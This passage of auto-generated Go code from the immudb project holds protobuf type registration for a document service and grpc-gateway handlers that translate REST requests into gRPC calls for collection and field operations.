file_documents_proto_rawDesc ) func file_documents_proto_rawDescGZIP() []byte { file_documents_proto_rawDescOnce.Do(func() { file_documents_proto_rawDescData = protoimpl.X.CompressGZIP(file_documents_proto_rawDescData) }) return file_documents_proto_rawDescData } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 41) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator (*CreateCollectionRequest)(nil), // 2: immudb.model.CreateCollectionRequest (*CreateCollectionResponse)(nil), // 3: immudb.model.CreateCollectionResponse (*Field)(nil), // 4: immudb.model.Field (*Index)(nil), // 5: immudb.model.Index (*GetCollectionRequest)(nil), // 6: immudb.model.GetCollectionRequest (*GetCollectionResponse)(nil), // 7: immudb.model.GetCollectionResponse (*Collection)(nil), // 8: immudb.model.Collection (*GetCollectionsRequest)(nil), // 9: immudb.model.GetCollectionsRequest (*GetCollectionsResponse)(nil), // 10: immudb.model.GetCollectionsResponse (*DeleteCollectionRequest)(nil), // 11: immudb.model.DeleteCollectionRequest (*DeleteCollectionResponse)(nil), // 12: immudb.model.DeleteCollectionResponse (*UpdateCollectionRequest)(nil), // 13: immudb.model.UpdateCollectionRequest (*UpdateCollectionResponse)(nil), // 14: immudb.model.UpdateCollectionResponse (*AddFieldRequest)(nil), // 15: immudb.model.AddFieldRequest (*AddFieldResponse)(nil), // 16: immudb.model.AddFieldResponse (*RemoveFieldRequest)(nil), // 17: immudb.model.RemoveFieldRequest (*RemoveFieldResponse)(nil), // 18: immudb.model.RemoveFieldResponse (*CreateIndexRequest)(nil), // 19: immudb.model.CreateIndexRequest (*CreateIndexResponse)(nil), // 20: immudb.model.CreateIndexResponse (*DeleteIndexRequest)(nil), // 21: immudb.model.DeleteIndexRequest (*DeleteIndexResponse)(nil), // 22: immudb.model.DeleteIndexResponse (*InsertDocumentsRequest)(nil), // 23: immudb.model.InsertDocumentsRequest (*InsertDocumentsResponse)(nil), // 24: immudb.model.InsertDocumentsResponse (*ReplaceDocumentsRequest)(nil), // 25: immudb.model.ReplaceDocumentsRequest (*ReplaceDocumentsResponse)(nil), // 26: immudb.model.ReplaceDocumentsResponse (*DeleteDocumentsRequest)(nil), // 27: immudb.model.DeleteDocumentsRequest (*DeleteDocumentsResponse)(nil), // 28: immudb.model.DeleteDocumentsResponse (*SearchDocumentsRequest)(nil), // 29: immudb.model.SearchDocumentsRequest (*Query)(nil), // 30: immudb.model.Query (*QueryExpression)(nil), // 31: immudb.model.QueryExpression (*FieldComparison)(nil), // 32: immudb.model.FieldComparison (*OrderByClause)(nil), // 33: immudb.model.OrderByClause (*SearchDocumentsResponse)(nil), // 34: immudb.model.SearchDocumentsResponse (*DocumentAtRevision)(nil), // 35: immudb.model.DocumentAtRevision (*DocumentMetadata)(nil), // 36: immudb.model.DocumentMetadata (*CountDocumentsRequest)(nil), // 37: immudb.model.CountDocumentsRequest (*CountDocumentsResponse)(nil), // 38: immudb.model.CountDocumentsResponse (*AuditDocumentRequest)(nil), // 39: immudb.model.AuditDocumentRequest (*AuditDocumentResponse)(nil), // 40: immudb.model.AuditDocumentResponse (*ProofDocumentRequest)(nil), // 41: immudb.model.ProofDocumentRequest (*ProofDocumentResponse)(nil), // 42: immudb.model.ProofDocumentResponse (*structpb.Struct)(nil), // 43: google.protobuf.Struct (*structpb.Value)(nil), // 44: google.protobuf.Value (*schema.VerifiableTxV2)(nil), // 45: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CreateCollectionRequest.fields:type_name -> immudb.model.Field 5, // 1: immudb.model.CreateCollectionRequest.indexes:type_name -> immudb.model.Index 0, // 2: immudb.model.Field.type:type_name -> immudb.model.FieldType 8, // 3: immudb.model.GetCollectionResponse.collection:type_name -> immudb.model.Collection 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection 4, // 7: immudb.model.AddFieldRequest.field:type_name -> immudb.model.Field 43, // 8: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct 30, // 9: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query 43, // 10: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct 35, // 11: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision 30, // 12: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query 30, // 13: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query 31, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression 33, // 15: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause 32, // 16: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison 1, // 17: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator 44, // 18: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value 35, // 19: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision 36, // 20: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata 43, // 21: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct 30, // 22: immudb.model.CountDocumentsRequest.query:type_name -> immudb.model.Query 35, // 23: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision 45, // 24: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 2, // 25: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest 9, // 26: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest 6, // 27: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest 13, // 28: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest 11, // 29: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest 15, // 30: immudb.model.DocumentService.AddField:input_type -> immudb.model.AddFieldRequest 17, // 31: immudb.model.DocumentService.RemoveField:input_type -> immudb.model.RemoveFieldRequest 19, // 32: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest 21, // 33: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest 23, // 34: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest 25, // 35: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest 27, // 36: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest 29, // 37: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest 37, // 38: immudb.model.DocumentService.CountDocuments:input_type -> immudb.model.CountDocumentsRequest 39, // 39: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest 41, // 40: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest 3, // 41: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse 10, // 42: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse 7, // 43: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse 14, // 44: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse 12, // 45: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse 16, // 46: immudb.model.DocumentService.AddField:output_type -> immudb.model.AddFieldResponse 18, // 47: immudb.model.DocumentService.RemoveField:output_type -> immudb.model.RemoveFieldResponse 20, // 48: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse 22, // 49: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse 24, // 50: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse 26, // 51: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse 28, // 52: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse 34, // 53: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse 38, // 54: immudb.model.DocumentService.CountDocuments:output_type -> immudb.model.CountDocumentsResponse 40, // 55: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse 42, // 56: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse 41, // [41:57] is the sub-list for method output_type 25, // [25:41] is the sub-list for method input_type 25, // [25:25] is the sub-list for extension type_name 25, // [25:25] is the sub-list for extension extendee 0, // [0:25] is the sub-list for field type_name } func init() { file_documents_proto_init() } func file_documents_proto_init() { if File_documents_proto != nil { return } if !protoimpl.UnsafeEnabled { file_documents_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateCollectionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateCollectionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Field); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Index); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetCollectionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetCollectionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Collection); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetCollectionsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetCollectionsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteCollectionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteCollectionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateCollectionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateCollectionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AddFieldRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AddFieldResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RemoveFieldRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RemoveFieldResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateIndexRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateIndexResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteIndexRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteIndexResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*InsertDocumentsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*InsertDocumentsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplaceDocumentsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplaceDocumentsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDocumentsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDocumentsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SearchDocumentsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Query); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OrderByClause); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SearchDocumentsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentAtRevision); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentMetadata); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CountDocumentsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CountDocumentsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AuditDocumentRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AuditDocumentResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ProofDocumentRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_documents_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ProofDocumentResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, NumMessages: 41, NumExtensions: 0, NumServices: 1, }, GoTypes: file_documents_proto_goTypes, DependencyIndexes: file_documents_proto_depIdxs, EnumInfos: file_documents_proto_enumTypes, MessageInfos: file_documents_proto_msgTypes, }.Build() File_documents_proto = out.File file_documents_proto_rawDesc = nil file_documents_proto_goTypes = nil file_documents_proto_depIdxs = nil } ================================================ FILE: pkg/api/protomodel/documents.pb.gw.go ================================================ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. // source: documents.proto /* Package protomodel is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ package protomodel import ( "context" "io" "net/http" "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" ) // Suppress "imported and not used" errors var _ codes.Code var _ io.Reader var _ status.Status var _ = runtime.String var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join func request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := client.CreateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := server.CreateCollection(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq GetCollectionsRequest var metadata runtime.ServerMetadata msg, err := client.GetCollections(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq GetCollectionsRequest var metadata runtime.ServerMetadata msg, err := server.GetCollections(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq GetCollectionRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := client.GetCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq GetCollectionRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := server.GetCollection(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UpdateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := client.UpdateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UpdateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := server.UpdateCollection(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteCollectionRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := client.DeleteCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteCollectionRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["name"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } protoReq.Name, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } msg, err := server.DeleteCollection(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq AddFieldRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := client.AddField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq AddFieldRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := server.AddField(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq RemoveFieldRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["fieldName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "fieldName") } protoReq.FieldName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "fieldName", err) } msg, err := client.RemoveField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq RemoveFieldRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["fieldName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "fieldName") } protoReq.FieldName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "fieldName", err) } msg, err := server.RemoveField(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, 